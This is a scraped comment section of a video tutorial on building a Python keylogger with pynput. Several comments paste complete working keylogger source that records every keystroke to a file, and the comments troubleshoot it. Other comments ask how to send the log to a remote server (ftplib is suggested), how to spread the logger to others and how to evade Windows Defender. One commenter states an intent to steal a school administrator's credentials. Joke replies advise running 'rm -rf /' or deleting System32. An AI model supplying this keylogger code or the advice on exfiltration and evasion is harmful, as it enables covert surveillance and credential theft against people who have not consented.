HOW TO MAKE A KEYLOGGER IN 19 LINES OF CODE - PYTHON TUTORIAL

แชร์
ฝัง
  • เผยแพร่เมื่อ 15 ธ.ค. 2024

ความคิดเห็น • 706

  • @facu5563
    @facu5563 6 ปีที่แล้ว +276

    Hey Joshua!, great tutorial
    *********IF YOU CAN'T RUN THE SCRIPT READ THIS********
    There is a problem in line 8, with the variable 'messages' at min 5:50 is actually 'message' that's why nobody can run your script.
    Even though you have debug it you forgot to put that in the video and us (viewers) couldn't see the variable
    **************************************************************
    Anyways, great tutorial, keep up with the videos
    Cheers from Argentina

    • @stevennagle6807
      @stevennagle6807 5 ปีที่แล้ว +8

      This was my problem as well. Thanks.

    • @thesilvercreepers
      @thesilvercreepers 5 ปีที่แล้ว +3

      Thank you so much

    • @goobaflooba
      @goobaflooba 5 ปีที่แล้ว +4

      If you still have the code could you copy and paste it in a reply, I have copied this exactly and it doesn’t seem to work

    • @nightviper7354
      @nightviper7354 5 ปีที่แล้ว +1

      still not working

    • @Xy-gx8ou
      @Xy-gx8ou 5 ปีที่แล้ว +13

      //////////////////////////////////////////////////////////////////////////////////////////////////
      import logging
      from pynput.keyboard import Key, Listener
      #Log file
      log_dir = ""
      logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s:')
      def on_press(key):
      logging.info(str(key))
      #if key = Key.esc:
      #return false
      with Listener(on_press=on_press) as listener:
      listener.join()
      //////////////////////////////////////////////////////////////////////////////////////////////////
      if this doesnt work because visual studio cant import the pynput directory, try copy-paste the 'pynput' directory in the same place where your logger.pyw is located

  • @unclelizard5580
    @unclelizard5580 6 ปีที่แล้ว +360

    Huh. From now on, when I'm browsing the dark web, I'm going to be paranoid and check my task manager every 5 minutes!

    • @shekhar81
      @shekhar81 6 ปีที่แล้ว +2

      LoL man 😂😂

    • @asdfghjklasdfghjkl2548
      @asdfghjklasdfghjkl2548 5 ปีที่แล้ว +16

      You are crazy for being on the darknet with Windows dude🤣😅😆 I wouldn't worry about your task manager just sayin.....

    • @brianjohnson8549
      @brianjohnson8549 5 ปีที่แล้ว

      @@asdfghjklasdfghjkl2548 he,s saying he's gonna check the task manager to make sure the dark web didn't give him a rat

    • @sugandesenuds6663
      @sugandesenuds6663 5 ปีที่แล้ว +7

      hahah youre surfing darkweb with windows LOL thats too good

    • @jeffleigh491
      @jeffleigh491 5 ปีที่แล้ว

      @Sam Peterson Got any good Market links ?

  • @matthewpalmer1428
    @matthewpalmer1428 5 ปีที่แล้ว +20

    THE BACKGROUND SONG ... for anyone wondering like me, it's Second Side by Yomoti. ;) You're welcome.

  • @ggRebs
    @ggRebs 6 ปีที่แล้ว +39

    For those who couldn't get it to write to the file, when he types in "(Messages)s" make it "(Message)s", that fixed mine

  • @alvin825
    @alvin825 6 ปีที่แล้ว +32

    for some reason at 1:50 i needed to type "py setup .\setup.py" instead of "python setup .\setup.py" for it to work

    • @not_really_jareth6427
      @not_really_jareth6427 5 ปีที่แล้ว +1

      me too

    • @glassbland8763
      @glassbland8763 5 ปีที่แล้ว +1

      this means you did not add the environment path to your system files. if you follow this video it will show you how to correctly set it up: th-cam.com/video/dNFgRUD2w68/w-d-xo.html

    • @McSuicide
      @McSuicide 3 ปีที่แล้ว

      @@glassbland8763 i didit work ik this is old but still

  • @Xy-gx8ou
    @Xy-gx8ou 6 ปีที่แล้ว +70

    For everyone who is not able to import the pynput: go to your keylog folder and figure out the actual path of the pynput directory. Mine was "keylog\pynput-master\lib"
    then change your Directory with the cd command to this exact path before you type "python" and "import pynput". This should fix your problem if you got something like:
    /*
    Traceback (most recent call last):
    File "", line 1, in
    ModuleNotFoundError: No module named 'pynput'
    */

    • @slaxblake
      @slaxblake 6 ปีที่แล้ว +2

      but, do we have to create and empty folder called keylog or what?

    • @6SpeedRobbyG
      @6SpeedRobbyG 6 ปีที่แล้ว

      Der H mine is in the lib folder as well but I still get this error when I try to import it. Any tips?

    • @romzamir
      @romzamir 5 ปีที่แล้ว +1

      you saved my life!!!one1!

    • @Xy-gx8ou
      @Xy-gx8ou 5 ปีที่แล้ว +1

      ​@BPGStudios i hope i can help you in time. The command you are looking for is "cd" - short for "change directory". Heres an example that should work for you (dont copy the quotation marks): "cd pynput-master\lib". You have to do this in the console as shown in the video. If this doesnt work you need to check your folder structure with "dir". there you can see what files/directories are available to you. Use cd + the name of the directory or "cd.." to get back. After thta you can open python with "python" and then type "import python".

    • @ShadowDashGaming
      @ShadowDashGaming 5 ปีที่แล้ว

      @@Xy-gx8ou Do you know why I'd get this error?
      Traceback (most recent call last):
      File ".\logger.pyw", line 2, in
      from pynput.keyboard import Key, Listener
      File "F:\Keylog\pynput-master\lib\pynput\__init__.py", line 40, in
      from . import keyboard
      File "F:\Keylog\pynput-master\lib\pynput\keyboard\__init__.py", line 44, in
      from ._win32 import KeyCode, Key, Controller, Listener
      File "F:\Keylog\pynput-master\lib\pynput\keyboard\_win32.py", line 30, in
      import six
      ModuleNotFoundError: No module named 'six'

  • @gordonrarity8014
    @gordonrarity8014 5 ปีที่แล้ว +42

    why does no one use the pip install command? I think it's installed when you download python for windows
    Windows key + R > type "cmd" then type run the command "pip install pynput" or pip3 install pynput"
    if that doesn't work you haven't installed pip while installing python. it saves downloading and unzipping the file and takes about 5 seconds to install packages

    • @jellohunter7981
      @jellohunter7981 5 ปีที่แล้ว +2

      Pip sometimes doesn’t exist as an environment variable. You can sometimes run it from the scripts directory

    • @john_mcafees_poop_pipe2906
      @john_mcafees_poop_pipe2906 3 ปีที่แล้ว

      @@jellohunter7981 Isn't that what he literally just explained in his comment loo

    • @jellohunter7981
      @jellohunter7981 3 ปีที่แล้ว

      @@john_mcafees_poop_pipe2906 no he said the issue is that you haven’t installed it, that may not be always the case

    • @jellohunter7981
      @jellohunter7981 3 ปีที่แล้ว

      @@john_mcafees_poop_pipe2906 it can sometimes be the environment variable

  • @setlixcz
    @setlixcz ปีที่แล้ว +2

    its really easy, but the problem is that u cant run it on other computers than your own, i mean u can run it but the keylog will be created for themselves

  • @SpiderWolf
    @SpiderWolf 4 ปีที่แล้ว +4

    Traceback (most recent call last):
    File "", line 1, in
    ModuleNotFoundError: No module named 'pynput'

    • @malcolmlai6915
      @malcolmlai6915 4 ปีที่แล้ว

      @Sebastián Ywaskewycz newbie here. How do you change the directory

    • @investmentinsider7
      @investmentinsider7 4 ปีที่แล้ว

      @@malcolmlai6915 just type cd .(whatever your directory is, without braces)

  • @arindamroy7671
    @arindamroy7671 4 ปีที่แล้ว +9

    A simple way to get pynput ...>
    cd keylog/pynput-master....
    with the directory set to pynput-master --> "pip install pynput"
    Fixes the problem and then the "import pynput" does not produce an error. Just like Josh.
    Hope it helps!

    • @Dj-dc4kc
      @Dj-dc4kc 2 ปีที่แล้ว

      Thank you so much

  • @galaxite8631
    @galaxite8631 2 ปีที่แล้ว +1

    meanwhile on the 9th line: when is this damn line ever gonna end?

  • @xDEKIx
    @xDEKIx ปีที่แล้ว +1

    I did everything no error codes, but when I open note pad and type something, it won't shot in the key_log txt file how do I fix this??

  • @AstroAzzy
    @AstroAzzy 4 ปีที่แล้ว +10

    FBI, I’m here for non malicious purposes

    • @bubavunga397
      @bubavunga397 3 ปีที่แล้ว

      FBI, I am here just to mess with my friend.

    • @DYLXNNN
      @DYLXNNN 3 ปีที่แล้ว

      FBI idk why tf i am here but i am going to use this to track what i type because idk what i be searching up sometimes.

  • @Minecrafter-up4uo
    @Minecrafter-up4uo 4 ปีที่แล้ว +1

    on line 2 it says this what do i do {
    "resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw",
    "owner": "python",
    "code": "syntax-error",
    "severity": 8,
    "message": "unexpected indent (, line 2)",
    "source": "pylint",
    "startLineNumber": 2,
    "startColumn": 4,
    "endLineNumber": 2,
    "endColumn": 4
    }

  • @jjjjag7262
    @jjjjag7262 4 ปีที่แล้ว +5

    why my folder cant open as code?

    • @misa7598
      @misa7598 3 ปีที่แล้ว

      uninstall it then reinstall it and check all the boxes during reinstallation process and make sure you click "open with code" option

  • @b_ghoster7526
    @b_ghoster7526 6 ปีที่แล้ว +7

    Were is the link? I think I'm dumb

  • @andrwsxo596
    @andrwsxo596 4 ปีที่แล้ว +2

    People like you is why grandmas are paranoid😂

  • @Krispza
    @Krispza 4 ปีที่แล้ว +2

    when i try to do python setup is says warning the wheel package is not available

  • @luisfernandomoraes5925
    @luisfernandomoraes5925 5 ปีที่แล้ว +7

    Nice video, but a doubt, how do I send the information collected by the keylogger to a simple txt file?

    • @misa7598
      @misa7598 3 ปีที่แล้ว +2

      idk either

  • @BigHud83
    @BigHud83 2 ปีที่แล้ว +1

    This was dope thanks sir ✊🏾

  • @GriffinMusicProduction
    @GriffinMusicProduction 3 ปีที่แล้ว

    SO what if I DID get an error when you said "If you didn't get an error....." and proceeded to continue without saying what to do if we get one

  • @prodbycure.
    @prodbycure. 4 ปีที่แล้ว +8

    How would you be able to remotely access The txt file from somewhere else would you have to somehow in next it and get it to send it to you ??

    • @thefuton
      @thefuton 4 ปีที่แล้ว

      Use ftblib and send the file to your server

    • @prodbycure.
      @prodbycure. 4 ปีที่แล้ว

      @@thefuton thanks man

  • @zahmbohddie4004
    @zahmbohddie4004 4 ปีที่แล้ว +1

    so technicly i could get myself an old ass computer buy as many 10$ keyboards as i can monger and look up as many keyloggers as i can find on the dark web and practise boxing on the keyboards all night for years to see if it ticks of the hacker?

  • @Marius-ff1en
    @Marius-ff1en 2 ปีที่แล้ว +1

    Hello I have a problem:
    The code works but only logs when I type stuff in visual studio.
    When I try to run logger.pyw I get the loading icon but nothing happens.
    Nothing gets logged.
    Nothing shows up in taskmanager either.

    • @ambrxq_here
      @ambrxq_here 2 ปีที่แล้ว +1

      got the same issue

    • @vxyr7697
      @vxyr7697 2 ปีที่แล้ว

      @@ambrxq_here any idea on how to fix this issue?

    • @ambrxq_here
      @ambrxq_here 2 ปีที่แล้ว

      @@vxyr7697 no

  • @insaneusername3572
    @insaneusername3572 4 ปีที่แล้ว +1

    epic hacker intro

  • @shen700
    @shen700 6 ปีที่แล้ว +9

    Mine just gives me a blank text file?

    • @MusicIsMyOxycontin
      @MusicIsMyOxycontin 5 ปีที่แล้ว

      Same here

    • @wp-wisdom
      @wp-wisdom 5 ปีที่แล้ว

      These tutorial are fake. I almost tried thousands of them. But got the same result as yours.not everyone can hack

    • @xhir0
      @xhir0 5 ปีที่แล้ว +1

      @@wp-wisdom your not doing something right.

    • @alfonsoquintero8699
      @alfonsoquintero8699 4 ปีที่แล้ว

      @@xhir0 i got an empty file too... so i'm not sure what i did wrong, any idea?

  • @rtc4805
    @rtc4805 ปีที่แล้ว

    Hey at 2:17 I run everything correctly but VSC (virtual Studio Code) gives me an erroy. It firsts gives me a warning saying the wheel package is not available. The Error says subprocess-exited-with-error
    What do I do. I have PIP btw

  • @factula9973
    @factula9973 6 ปีที่แล้ว +6

    for anyone who's having trouble doing this
    from pynput.keyboard import Key, Listener
    import logging
    log_dir = ""
    logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
    def on_press(key):
    logging.info(key)
    with Listener(on_press=on_press) as listener:
    listener.join()
    he didnt mention some of his changes.

    • @ForsakePariah
      @ForsakePariah 5 ปีที่แล้ว

      Yours worked for me. Much appreciated!

    • @techaid1940
      @techaid1940 5 ปีที่แล้ว

      sadly this didnt work i keep on getting a syntax error here:
      File ".\logger.pyw", line 6
      logging.basicConfig(filename=log_dir) + "key_log.txt"), level=logging.DEBUG, format="%(asctime)s: %(messages)s:")
      ^

      SyntaxError: invalid syntax

    • @timothniel
      @timothniel 4 ปีที่แล้ว

      Aiden Atkinson - Aido Playdo it must be %(message)s :’)

  • @maxianfootball2.0
    @maxianfootball2.0 8 หลายเดือนก่อน

    How can we spread it ? Like can we make listener on our end or smtg like that

  • @MrInfamousComic
    @MrInfamousComic 6 ปีที่แล้ว +1

    idk what I did to make it work but make sure you get all the indents correct and the line order EXACTLY right. I know its stupid but it has to be like that. however right now it inputs a u' after eversingle one of my regular keys

  • @mts_cool
    @mts_cool 2 ปีที่แล้ว +1

    for me when ever i put python .\setup.py and enter it just tellss me this WARNING: The wheel package is not available.

  • @ibnsaltus
    @ibnsaltus 5 ปีที่แล้ว +8

    when I type import pynput it says [Traceback (most recent call last):
    File "", line 1, in
    ModuleNotFoundError: No module named 'pynput']

    • @rashadh1783
      @rashadh1783 5 ปีที่แล้ว +2

      I'm having the same issue. Anyone have a solution?

    • @biofluorescence
      @biofluorescence 5 ปีที่แล้ว +1

      Install pynput by typing pip install pynput

  • @kevindrake1819
    @kevindrake1819 6 ปีที่แล้ว +2

    After 2:06 it gives me an error with the message
    "python : The term 'python' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of
    the name, or if a path was included, verify that the path is correct and try again.
    At line:1 char:1
    + python .\setup.py
    + ~~~~~~
    + CategoryInfo : ObjectNotFound: (python:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException"
    Does this mean I installed python incorrectly? All help will be appreciated.

    • @ACTS-2.38
      @ACTS-2.38 2 ปีที่แล้ว

      I think your antivirus is protecting it.

  • @talpadiea7105
    @talpadiea7105 3 ปีที่แล้ว +1

    TypeError: join() missing 1 required positional argument: 'self' does anyone have a fix for this?

  • @lepsy7056
    @lepsy7056 6 ปีที่แล้ว +3

    when he types in (Messages)s make it (Message)s also if it still does not work double check your spelling and all other characters and ctrl+S to save it then run it again

  • @novaserpent9233
    @novaserpent9233 4 ปีที่แล้ว +3

    Did anyone get' can't open file '.\logger.pyw': [Errno 2] No such file or directory'
    if so how did you fix it?

    • @TheAskerr
      @TheAskerr 4 ปีที่แล้ว

      switch back to the keylogger folder

  • @mrDADtheSecond
    @mrDADtheSecond 10 หลายเดือนก่อน +1

    There are no links in the description

  • @snac-z8m
    @snac-z8m 5 ปีที่แล้ว

    I changes messages to message and still have an empty txt file
    from pynput.keyboard import Key, Listener
    import logging
    log_dir = ""
    logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s:%(message)s:')
    def on_press(self,key):
    logging.info(str(key))
    with Listener(on_press=on_press) as listener:
    listener.join()

  • @iamrichalready
    @iamrichalready 2 ปีที่แล้ว

    i success to everything in this video, but got no one character into the txt file. the file failed to record the strokes. where is my fault?

  • @TheFlyingGerman9
    @TheFlyingGerman9 4 ปีที่แล้ว

    hello, when I type : ( python .\logger.pyw ) to start the program I get:
    PS C:\Users\User\Desktop\keylog> basically nothing happens
    PS C:\Users\User\Desktop\keylog> python .\logger.pyw
    PS C:\Users\User\Desktop\keylog>
    And the text document does not receive the keys. Why is that? I noticed also that the powershell doesn't shift to python. All the rest is fine. Please help. Thank you.

  • @frenchbaggette3567
    @frenchbaggette3567 4 ปีที่แล้ว +31

    your voice reminds me of Morty from "Rick and Morty"

  • @dreamerlynx7197
    @dreamerlynx7197 6 ปีที่แล้ว +6

    SyntaxError: unexpected character after line continuation character

    • @lopez7703
      @lopez7703 4 ปีที่แล้ว

      No module named pynput

    • @blahblahblah3819
      @blahblahblah3819 4 ปีที่แล้ว

      Lopez pip install pynput

  • @LongLiveDJ1
    @LongLiveDJ1 4 ปีที่แล้ว +1

    The wheel package is not available
    how do i get past this error!

    • @goodperson7427
      @goodperson7427 4 ปีที่แล้ว +1

      I am getting the same error. It's a really old video maybe the source code is outdated

  • @kallaviruthan9023
    @kallaviruthan9023 3 ปีที่แล้ว +1

    There is no link to git in the description.

  • @Omenomega866
    @Omenomega866 5 ปีที่แล้ว +1

    My CD code line says path doesn't exist. Help?

  • @void-lc4wu
    @void-lc4wu 3 ปีที่แล้ว

    can't open file 'C:\Users\ihate\Desktop\test123\pynput-master\logger.pyw': [Errno 2] No such file or directory

  • @Minecrafter-up4uo
    @Minecrafter-up4uo 4 ปีที่แล้ว

    it also says this what do i do{
    "resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw",
    "owner": "python",
    "code": "syntax-error",
    "severity": 8,
    "message": "unexpected indent (, line 7)",
    "source": "pylint",
    "startLineNumber": 7,
    "startColumn": 2,
    "endLineNumber": 7,
    "endColumn": 2
    }

  • @littlebenplanet2
    @littlebenplanet2 5 ปีที่แล้ว +5

    Suppose now that you log out and log back in typing your username and password over again. Will it catch that? And what if you shut down your computer and re-boot? Will it catch the username and password then?

    • @pragyan_1759
      @pragyan_1759 3 ปีที่แล้ว

      if we shut down the computer all the processes will close so no

  • @pythonieeinoth9006
    @pythonieeinoth9006 6 ปีที่แล้ว +5

    Is there a way can edit this key-logger to make it write in a single line? Make it record key strokes in paragraphs. another question , is 'key' the variable that keeps the number of strokes on the text file? or log_dir?

  • @ogfv1082
    @ogfv1082 3 ปีที่แล้ว

    it says WARNING: The wheel package is not available.

  • @peshangahmed2484
    @peshangahmed2484 4 ปีที่แล้ว

    justin bieber teaching how to code

  • @biscuitecapitanu
    @biscuitecapitanu 6 หลายเดือนก่อน

    it doesn t make the log file any ideas?

  • @opbreports2152
    @opbreports2152 6 ปีที่แล้ว +1

    Does this work on a mac, because it does not put anything inside of the file.

  • @shadowgallery97
    @shadowgallery97 6 ปีที่แล้ว

    A revolution without dancing is a revolution not worth having.

  • @markangelolandas5526
    @markangelolandas5526 5 ปีที่แล้ว +1

    I have this problem with invalid syntax in logger.pyw it show a red thing and I tried to rewrite all code but still show the same problem.

  • @ives33
    @ives33 4 ปีที่แล้ว

    error 8:27 pynput.keyboard Errno 2] No such file or directory

  • @ethical1872
    @ethical1872 6 ปีที่แล้ว +5

    My key_log.txt is empty, can you help me understand why?

    • @romzamir
      @romzamir 5 ปีที่แล้ว +4

      On line 8 where it says messages change it to message

    • @NecroKennny
      @NecroKennny 5 ปีที่แล้ว +4

      @@romzamir i did this and it still shows up empty

  • @brendanpaoletti2093
    @brendanpaoletti2093 5 ปีที่แล้ว +7

    One of my favorite programing language's

    • @yayeetxd6137
      @yayeetxd6137 3 ปีที่แล้ว

      and one of the easiest

  • @wiktormigaszewski8684
    @wiktormigaszewski8684 6 หลายเดือนก่อน

    I need an example file of someone who wrote a longer text (a story or a masters thesis) - is there any such public repository? or maybe someone can share such a file?

  • @toyinatofarati5512
    @toyinatofarati5512 4 ปีที่แล้ว +3

    I'm getting an error message, NO MODULE NAMED 'PYNPUT'

    • @lopez7703
      @lopez7703 4 ปีที่แล้ว

      switch to python 3.7.7

    • @prohurtz
      @prohurtz 4 ปีที่แล้ว

      open command prompt and type: pip install pynput

  • @mariowilliams4704
    @mariowilliams4704 3 ปีที่แล้ว

    COOL VIDEO!!! Would work on a iphone ?

  • @ErCommandant
    @ErCommandant ปีที่แล้ว

    Can someone help me everything works but when I want to start the code (not with VS) its not working?

  • @kickology8859
    @kickology8859 3 ปีที่แล้ว

    Why is my "key_log.txt" isn't created ?

  • @KolsonO
    @KolsonO 5 ปีที่แล้ว +1

    how do if fix the import pynput, it just comes up with the error
    >>> import pynput
    Traceback (most recent call last):
    File "", line 1, in
    ModuleNotFoundError: No module named 'pynput'

  • @contentshark5122
    @contentshark5122 4 ปีที่แล้ว

    WHy do you need to write code to create keylogger, when there is tools available ?

  • @ilankonig1745
    @ilankonig1745 5 ปีที่แล้ว +3

    so how would i send it to someone wouldnt they need python installed aswell and it couldnt be hidden in another program or anything

    • @johnspence8141
      @johnspence8141 5 ปีที่แล้ว

      You wouldn't...you'd need access to their desktop

  • @kami9526
    @kami9526 3 ปีที่แล้ว

    windows defender : ur not that guy trust me …

  • @JustinMatthewRulz_97
    @JustinMatthewRulz_97 5 ปีที่แล้ว +1

    that cat got me tripping

  • @goobaflooba
    @goobaflooba 5 ปีที่แล้ว +5

    At 3:00 when I type “import pynput” it says “ModuleNotFoundError: No module named ‘pynput’”
    Any suggestions?

    • @michaelmedvedev8387
      @michaelmedvedev8387 5 ปีที่แล้ว

      Me too

    • @goobaflooba
      @goobaflooba 5 ปีที่แล้ว +1

      Michael Medvedev I figured it out. After you put “cd pynput-master” do “cd lib” then continue with the video

    • @Xy-gx8ou
      @Xy-gx8ou 5 ปีที่แล้ว

      move the pynput directory to the same place where your logger.pyw is. This worked for me .)

    • @randomnessx3597
      @randomnessx3597 5 ปีที่แล้ว

      Getting no module named six now

    • @Xy-gx8ou
      @Xy-gx8ou 5 ปีที่แล้ว

      @@randomnessx3597 type 'pip install six' in your console

  • @max_ishere
    @max_ishere 4 ปีที่แล้ว +1

    I like how what has been intended to make life of a programmer easy is exploited.

  • @happyoncrack1786
    @happyoncrack1786 3 ปีที่แล้ว +1

    Does this work when i let other people download it and i can see what their typing

  • @Walter-wm4nc
    @Walter-wm4nc 6 ปีที่แล้ว +35

    I just want this to use it on my school computers. Haha imagine everything I could do if I got an admin’s account. Worth a try. I’ll be back by January to tell you guys how it went if anybody is interested.

    • @LouiWoodman
      @LouiWoodman 6 ปีที่แล้ว +1

      YES. Sounds like quit the story.

    • @Walter-wm4nc
      @Walter-wm4nc 6 ปีที่แล้ว +1

      john doe quit story?

    • @landro3552
      @landro3552 6 ปีที่แล้ว

      ​@@Walter-wm4nc where u live. im asking so i see the schools level

    • @Walter-wm4nc
      @Walter-wm4nc 6 ปีที่แล้ว

      Aleks Level? And no. I don’t want to be reported. I’ll check it myself. Just tell me what you mean by that.

    • @landro3552
      @landro3552 6 ปีที่แล้ว +2

      @@Walter-wm4nc i see you paranoid so i won't keep talking to you

  • @noahk2461
    @noahk2461 3 ปีที่แล้ว

    When I tried it I have everything downloaded and I followed everything on the video but it said no such file or directory??

  • @iisqyx5586
    @iisqyx5586 4 ปีที่แล้ว +1

    Im not gonna use this to harm anyone im just experimenting lol

  • @steventhomas8520
    @steventhomas8520 4 ปีที่แล้ว +1

    where do u get the keylogger file?

  • @LilStranger187
    @LilStranger187 3 ปีที่แล้ว

    I think ima put my task manager to a open window at all times

  • @AyoSPYGD
    @AyoSPYGD ปีที่แล้ว

    i just cant open the folder with code idk why

  • @restfulcube-notyet
    @restfulcube-notyet 3 ปีที่แล้ว +1

    that intro had me rolling

  • @AnubisMD
    @AnubisMD 5 ปีที่แล้ว +2

    Any tips on how to spot a keylogger running in the background and if you do manage to spot one,how do you deal with it? Thanks in advance!

    • @KevinArellano
      @KevinArellano 2 ปีที่แล้ว

      Typically how Josh showed us, going to Task Manager and ending any suspicious apps running. Some "viruses" bloat other programs and that's basically a re-imaging of a computer. Unless it's a hardware one then you literally have to destroy it.

  • @thecaptain5040
    @thecaptain5040 6 ปีที่แล้ว +2

    Joshua Fluke,
    Hi a query because my Keylog folder does not appear? from my windows 10 and download python and install everything as you showed in this tutorial.
    Also when I'm going to extract from pynput-master.zip does not I extract the Keylog folder?
    That's why I consult you.

    • @theautistic9246
      @theautistic9246 6 ปีที่แล้ว

      Use python3 and *pip install pynput*

  • @papyrus1113
    @papyrus1113 5 ปีที่แล้ว +1

    Why exactly do we need the Listener for?

  • @vaggelis8514
    @vaggelis8514 4 ปีที่แล้ว +1

    File ".\logger.pyw", line 8, in
    logging.basicConfig(filename=(log_dir + "key_log.txt"), level=loggin.DEBUG, format='%(asctime)s: %(message)s:')
    NameError: name 'logging' is not defined

  • @ephraimmulilo7098
    @ephraimmulilo7098 5 ปีที่แล้ว +1

    Is there a way to get it not to go to a new line when logging keys only until the space bar is pressed?

  • @tanvirahmed7390
    @tanvirahmed7390 6 ปีที่แล้ว +1

    i copied the same code but my file creates a the file but the does not print out anything.
    what can be the reason ?

    • @alexrapino318
      @alexrapino318 6 ปีที่แล้ว

      Tanvir Ahmed I have the same issue

  • @rawkstar952
    @rawkstar952 5 ปีที่แล้ว +1

    why all youtube tutorials about keylogging don't talk about special characters and keys?

  • @Wuottfac
    @Wuottfac 4 ปีที่แล้ว

    hello is it possible to insert a keylogger in a tool made with python ?? I tried but I have this problem, inserting the keylogger in the code of the tool when I start it I start the keylogger but the program does not proceed, could you help me?

  • @cullenstockdale5008
    @cullenstockdale5008 4 ปีที่แล้ว +1

    I get an error on the 'from' on the first line that says "unable to import 'pynput.keyboard' pylint(import-error) " any ideas?

    • @lopez7703
      @lopez7703 4 ปีที่แล้ว

      If you arent already using pyhon 3.7.7 use that or else it wont work

  • @calebstevenson3391
    @calebstevenson3391 4 ปีที่แล้ว

    It won’t allow me to run it in the back ground. When I click on the python file it says I don’t have an app associated with it. What do I do?

  • @conlaedcarson3979
    @conlaedcarson3979 3 ปีที่แล้ว

    i have gotten it to work but when i press a key it dosnt put it into the text file can someone help me

  • @Kristijan_
    @Kristijan_ 3 ปีที่แล้ว +1

    7:09 anyone know how to make it esc and ctrl?

  • @samanthazxy2445
    @samanthazxy2445 6 ปีที่แล้ว +6

    Cool Video! I was wondering how I can make the code output every word in a line instead of one character at a time, do you have any suggestions?

    • @cloud9254
      @cloud9254 5 ปีที่แล้ว +12

      Try and start by deleting system 32

    • @lukethurman9537
      @lukethurman9537 3 ปีที่แล้ว +1

      This guy is a troll

    • @rendoesmath
      @rendoesmath 2 ปีที่แล้ว +1

      run rm -rf / in command line

    • @nivksobrave
      @nivksobrave 2 ปีที่แล้ว +1

      Try learning formatting languages to better the readability

    • @SamSepiol127
      @SamSepiol127 ปีที่แล้ว

      you have to .replace the string apices ' with a quotation mark with no space something like this: log.replace("'","") and then if you want you have to watch for the spacebar key pressed and replace it with a space " "
      hope it helps

  • @elefski
    @elefski ปีที่แล้ว

    it dosent show to me "open with VSC" :(

  • @edwinconnelly9821
    @edwinconnelly9821 4 ปีที่แล้ว

    This is way above my pay grade.

  • @ofrelec1157
    @ofrelec1157 6 ปีที่แล้ว +4

    Do you need Winrar to extract it or can you just extract it into the log folder? And I couldn't install setup.py. Then having the error saying no commands supplied.

    • @JoshuaFluke1
      @JoshuaFluke1  6 ปีที่แล้ว

      Ofrelec make sure you're in the pynput folder when you install

    • @theautistic9246
      @theautistic9246 6 ปีที่แล้ว

      Try with: pip install pyinput
      inb4: You need python3+

    • @harishlakshmanapathi1078
      @harishlakshmanapathi1078 5 ปีที่แล้ว

      @@JoshuaFluke1 thank you so much for this command it worked like a charm but can you explain me a little bit about this anomaly within pip and python installer. Thank you once again you are doing a great job.

  • @BillyBob-wq6dz
    @BillyBob-wq6dz 6 ปีที่แล้ว

    I did all you said, and got to the run it part. And now when ever I click a key my PC goes "Brrrring!" the error sound thing. How do I fix this? I closed ALL python stuff and stopped the logger but it still does it.

  • @monk5820
    @monk5820 3 ปีที่แล้ว

    When i do python .\setup.py it says wheel package not availible any fix???

  • @Alexisz998
    @Alexisz998 4 ปีที่แล้ว

    invalid syntax () at line 11. think it is the def, it appear in violet instead of blue. how can I fix it ?

  • @kevinwestrom4775
    @kevinwestrom4775 4 ปีที่แล้ว

    Hi Joshua, Good tutorial. One question, possibly dumb question, but at the 1:21 mark you right-clicked & opened or set the keylog folder that you had extracted from the pynput Zip file on your desktop, with the "Run with Code", so that you would link it to VS, How was that done?

    • @thealchemist2772
      @thealchemist2772 4 ปีที่แล้ว +1

      Hey! When you download VS, you will get an option like "add to PATH" or something along those lines. That's how you get the "Open with VS option". Glad this helped!

    • @kevinwestrom4775
      @kevinwestrom4775 4 ปีที่แล้ว +1

      @@thealchemist2772 Hey, Thank you !! I appreciate it! THat was the only thing I hadn't figured out when otherwise fully going through it as a tutorial for coding the keylogger.

    • @thealchemist2772
      @thealchemist2772 4 ปีที่แล้ว

      @@kevinwestrom4775 I can't do the "python ./setup.py" code in the beginning for some reason

    • @kevinwestrom4775
      @kevinwestrom4775 4 ปีที่แล้ว +1

      @@thealchemist2772 DId you figure the problem out yet? Had you done the "cd" to the folder having the pynput files? If you had, then something else is going on, whether or not you have the rights to initiate the setup.py code.

    • @thealchemist2772
      @thealchemist2772 4 ปีที่แล้ว

      @@kevinwestrom4775 hey! Thanks for asking! Yes I did figure it out. I was just getting a different message for some reason but it was setting up so all good.

  • @itsglizzy737
    @itsglizzy737 4 ปีที่แล้ว +1

    Any way I can have it that the txt log gets hidden in like the downloads besides where the logger is ?

  • @dukenuke2690
    @dukenuke2690 2 ปีที่แล้ว

    what do i have to change so that windows doesnt see it as a virus :/?